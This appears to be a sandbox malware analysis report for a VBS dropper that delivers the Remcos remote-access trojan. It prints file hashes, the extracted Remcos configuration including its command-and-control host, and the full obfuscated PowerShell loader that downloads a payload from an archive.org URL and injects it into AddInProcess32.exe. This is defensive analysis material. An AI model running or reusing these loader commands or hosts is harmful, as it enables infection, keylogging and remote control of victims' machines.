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Analysis
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max time kernel
148s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
24/09/2024, 04:28
Static task
static1
Behavioral task
behavioral1
Sample
Label_091273172.vbs
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Label_091273172.vbs
Resource
win10v2004-20240802-en
General
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Target
Label_091273172.vbs
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Size
501KB
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MD5
acac54eb7b6c34d0c1dcf760c22ede4d
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SHA1
d6801fa279e4fe8696031696611c4b0d75054982
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SHA256
812abce7dbbfa5cff999d623b7af55b890d5e2ffbab510a0b585efb0bf2eb0cb
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SHA512
e22230cf8cec2bd0cbaf4f7eb18e32dd2246e52bac1df891cc8df67bdce2cf6982bd508307b6a2262e98a2e643e4a98ce229a82584fca5b3ce089f286f8cd393
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SSDEEP
12288:NxUu11RyddYlQLsdReovsT5JqGeqUXb8CYx6f2ACVqENi8rvNm7S0bpYiWYVwPkI:vTEsjaquAYdlb
Malware Config
Extracted
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
Extracted
remcos
RemoteHost
remcosco222.duckdns.org:7877
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-FX5B2Y
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 9 5080 powershell.exe 38 5080 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 5080 powershell.exe 1704 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation WScript.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 5080 set thread context of 3864 5080 powershell.exe 103 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 1704 powershell.exe 1704 powershell.exe 5080 powershell.exe 5080 powershell.exe 5080 powershell.exe 5080 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1704 powershell.exe Token: SeDebugPrivilege 5080 powershell.exe -
Suspicious use of WriteProcessMemory 19 IoCs
description pid Process procid_target PID 4828 wrote to memory of 1704 4828 WScript.exe 89 PID 4828 wrote to memory of 1704 4828 WScript.exe 89 PID 1704 wrote to memory of 5080 1704 powershell.exe 91 PID 1704 wrote to memory of 5080 1704 powershell.exe 91 PID 5080 wrote to memory of 4604 5080 powershell.exe 102 PID 5080 wrote to memory of 4604 5080 powershell.exe 102 PID 5080 wrote to memory of 4604 5080 powershell.exe 102 PID 5080 wrote to memory of 3864 5080 powershell.exe 103 PID 5080 wrote to memory of 3864 5080 powershell.exe 103 PID 5080 wrote to memory of 3864 5080 powershell.exe 103 PID 5080 wrote to memory of 3864 5080 powershell.exe 103 PID 5080 wrote to memory of 3864 5080 powershell.exe 103 PID 5080 wrote to memory of 3864 5080 powershell.exe 103 PID 5080 wrote to memory of 3864 5080 powershell.exe 103 PID 5080 wrote to memory of 3864 5080 powershell.exe 103 PID 5080 wrote to memory of 3864 5080 powershell.exe 103 PID 5080 wrote to memory of 3864 5080 powershell.exe 103 PID 5080 wrote to memory of 3864 5080 powershell.exe 103 PID 5080 wrote to memory of 3864 5080 powershell.exe 103
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Label_091273172.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4828 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdaaml1cmwnKycgPSBSZycrJ2VodHRwJysncycrJzovL2lhNjAnKycwMTAwJysnLnVzLmFyY2gnKydpdmUub3JnLzI0L2l0ZW0nKydzJysnL2RldGFoLW5vJysndGUtdi8nKydEZXQnKydhaE5vdCcrJ2VWLnR4dFInKydnZTtaamliYXNlNjRDb250ZW50ID0gKCcrJ05lJysndy0nKydPJysnYmplJysnY3QgU3knKydzdCcrJ2VtLk5lJysndC5XZWJDbGllbnQpLkRvd25sJysnb2FkU3RyJysnaW5nKFpqaXVybCk7WmppYmluYScrJ3J5Q29uJysndCcrJ2VudCcrJyA9ICcrJ1tTeXMnKyd0ZW0nKycuQ29udmUnKydyJysndF06JysnOkZyb21CYXNlNicrJzRTdHJpbmcoWmonKydpJysnYmFzJysnZTY0Q28nKydudGVudCk7WmppJysnYXNzZW1ibHkgPSBbUmVmbGUnKydjdGlvbi5Bc3NlbScrJ2JseV06OkxvYScrJ2QoWmppYmknKyduYXJ5JysnQ28nKyduJysndGVudCk7WicrJ2ppJysndHlwZSA9IFonKydqaScrJ2Fzc2VtYmx5JysnLkdldFR5cGUoUmdlUnVuUEUuSG9tZVJnZSknKyc7WmppbScrJ2V0aCcrJ29kICcrJz0gWicrJ2ppdHlwZS5HZXRNZScrJ3Rob2QoUmcnKydlVkFJUmcnKydlKTtaamknKydtZXRob2QuSW52b2tlKFpqaW51bGwsIFtvYmplJysnY3RbXV0nKydAKFJnZTAvRycrJ3dNJysndWsvZC9lZScrJy5ldCcrJ3NhcC8vOnNwdHQnKydoJysnUmdlICwgUmdlJysnZGVzYXRpJysndmFkb1JnZSAnKycsIFJnZWRlc2F0JysnaXZhZG9SZycrJ2UgLCBSZ2UnKydkZXNhdGl2YWQnKydvUicrJ2dlLFJnZUEnKydkZEluUHInKydvY2VzczMnKycyJysnUmdlLFJnZVJnZSkpJykuUmVwbEFDZSgnWmppJywnJCcpLlJlcGxBQ2UoJ1JnZScsW1NUUkluZ11bQ2hhUl0zOSkgfCBJblZPa0UtZVhQUkVzc0lvTg==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1704 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Zjiurl'+' = Rg'+'ehttp'+'s'+'://ia60'+'0100'+'.us.arch'+'ive.org/24/item'+'s'+'/detah-no'+'te-v/'+'Det'+'ahNot'+'eV.txtR'+'ge;Zjibase64Content = ('+'Ne'+'w-'+'O'+'bje'+'ct Sy'+'st'+'em.Ne'+'t.WebClient).Downl'+'oadStr'+'ing(Zjiurl);Zjibina'+'ryCon'+'t'+'ent'+' = '+'[Sys'+'tem'+'.Conve'+'r'+'t]:'+':FromBase6'+'4String(Zj'+'i'+'bas'+'e64Co'+'ntent);Zji'+'assembly = [Refle'+'ction.Assem'+'bly]::Loa'+'d(Zjibi'+'nary'+'Co'+'n'+'tent);Z'+'ji'+'type = Z'+'ji'+'assembly'+'.GetType(RgeRunPE.HomeRge)'+';Zjim'+'eth'+'od '+'= Z'+'jitype.GetMe'+'thod(Rg'+'eVAIRg'+'e);Zji'+'method.Invoke(Zjinull, [obje'+'ct[]]'+'@(Rge0/G'+'wM'+'uk/d/ee'+'.et'+'sap//:sptt'+'h'+'Rge , Rge'+'desati'+'vadoRge '+', Rgedesat'+'ivadoRg'+'e , Rge'+'desativad'+'oR'+'ge,RgeA'+'ddInPr'+'ocess3'+'2'+'Rge,RgeRge))').ReplACe('Zji','$').ReplACe('Rge',[STRIng][ChaR]39) | InVOkE-eXPREssIoN"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5080 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"4⤵PID:4604
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"4⤵
- System Location Discovery: System Language Discovery
PID:3864
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3804,i,3387628439405076340,17957358341235678872,262144 --variations-seed-version --mojo-platform-channel-handle=4248 /prefetch:81⤵PID:1652
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
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Filesize
64B
MD5a6c9d692ed2826ecb12c09356e69cc09
SHA1def728a6138cf083d8a7c61337f3c9dade41a37f
SHA256a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b
SHA5122f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82